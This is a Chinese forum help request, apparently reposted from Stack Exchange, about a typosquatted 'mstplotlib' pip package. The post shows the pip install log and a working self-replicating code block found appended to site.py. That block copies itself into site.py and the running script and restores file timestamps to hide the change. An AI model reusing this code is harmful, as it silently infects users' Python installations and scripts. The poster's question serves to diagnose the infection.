误安装mstplotlib后标准库site.py出现可疑代码的原因及来源排查求助

数据老陈

2026-4-14

大家好，我刚才不小心敲错了命令，把matplotlib拼写成了mstplotlib，输入了 pip install mstplotlib，结果这个拼写错误的包居然自动安装了它的依赖 matplotlib 和其他相关依赖包，整个安装流程看起来显示“成功”了，终端的完整输出如下：

C:\Users\admin>pip install mstplotlib
Collecting mstplotlib
  Downloading mstplotlib-3.10.2.tar.gz (845 bytes)
  Preparing metadata (setup.py) ... done
Collecting matplotlib
  Downloading matplotlib-3.10.0-cp311-cp311-win_amd64.whl (8.0 MB)
     ---------------------------------------- 8.0/8.0 MB 1.9 MB/s eta 0:00:00
Collecting contourpy>=1.0.1
  Downloading contourpy-1.3.1-cp311-cp311-win_amd64.whl (219 kB)
     ---------------------------------------- 219.8/219.8 kB 6.8 MB/s eta 0:00:00
Collecting cycler>=0.10
  Downloading cycler-0.12.1-py3-none-any.whl (8.3 kB)
Collecting fonttools>=4.22.0
  Downloading fonttools-4.56.0-cp311-cp311-win_amd64.whl (2.2 MB)
     ---------------------------------------- 2.2/2.2 MB 2.4 MB/s eta 0:00:00
Collecting kiwisolver>=1.3.1
  Downloading kiwisolver-1.4.8-cp311-cp311-win_amd64.whl (71 kB)
     ---------------------------------------- 72.0/72.0 kB 3.9 MB/s eta 0:00:00
Collecting numpy>=1.23
  Downloading numpy-2.2.3-cp311-cp311-win_amd64.whl (12.9 MB)
     ---------------------------------------- 12.9/12.9 MB 2.2 MB/s eta 0:00:00
Collecting packaging>=20.0
  Downloading packaging-24.2-py3-none-any.whl (65 kB)
     ---------------------------------------- 65.5/65.5 kB ? eta 0:00:00
Collecting pillow>=8
  Downloading pillow-11.1.0-cp311-cp311-win_amd64.whl (2.6 MB)
     ---------------------------------------- 2.6/2.6 MB 1.8 MB/s eta 0:00:00
Collecting pyparsing>=2.3.1
  Downloading pyparsing-3.2.1-py3-none-any.whl (107 kB)
     ---------------------------------------- 107.7/107.7 kB 2.1 MB/s eta 0:00:00
Collecting python-dateutil>=2.7
  Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB)
     ---------------------------------------- 229.9/229.9 kB 4.7 MB/s eta 0:00:00
Collecting six>=1.5
  Downloading six-1.17.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, pyparsing, pillow, packaging, numpy, kiwisolver, fonttools, cycler, python-dateutil, contourpy, matplotlib, mstplotlib
  DEPRECATION: mstplotlib is being installed using the legacy 'setup.py install' method, because it does not have a 'pyproject.toml' and the 'wheel' package is not installed. pip 23.1 will enforce this behaviour change. A possible replacement is to enable the '--use-pep517' option. Discussion can be found at https://github.com/pypa/pip/issues/8559
  Running setup.py install for mstplotlib ... done
Successfully installed contourpy-1.3.1 cycler-0.12.1 fonttools-4.56.0 kiwisolver-1.4.8 matplotlib-3.10.0 mstplotlib-3.10.2 numpy-2.2.3 packaging-24.2 pillow-11.1.0 pyparsing-3.2.1 python-dateutil-2.9.0.post0 six-1.17.0

不过之后我在查看标准库的site.py源码时，发现文件末尾多了一段非常可疑的代码，完全不清楚这段代码的作用是什么：

mark="#####MyPython####"#v1.1.2
code=''
with open(__file__,encoding="utf-8") as f:
    for line in f:
        if mark in line.strip():
            code=line+f.read()

def spread(file):
    import os;stat=os.stat(file)
    old_time=stat.st_atime,stat.st_mtime
    with open(file,'r',encoding='utf-8') as f:
        for line in f:
            if mark in line:return
    if os.path.getsize(file)>=2560:
        with open(file,'a',encoding='utf-8') as f:
            f.write('\n'+code)
        os.utime(file,old_time)

try:
    spread(__import__("site").__file__)
    spread(__import__("sys").argv[0])
except:pass
del spread,code,mark,f,line

现在我有两个疑问想请教大家：

这段可疑代码到底是做什么的？存在什么风险吗？
这段代码是不是那个拼写错误的mstplotlib包带来的？有没有办法确认它的来源？

备注：内容来源于stack exchange，提问作者uvx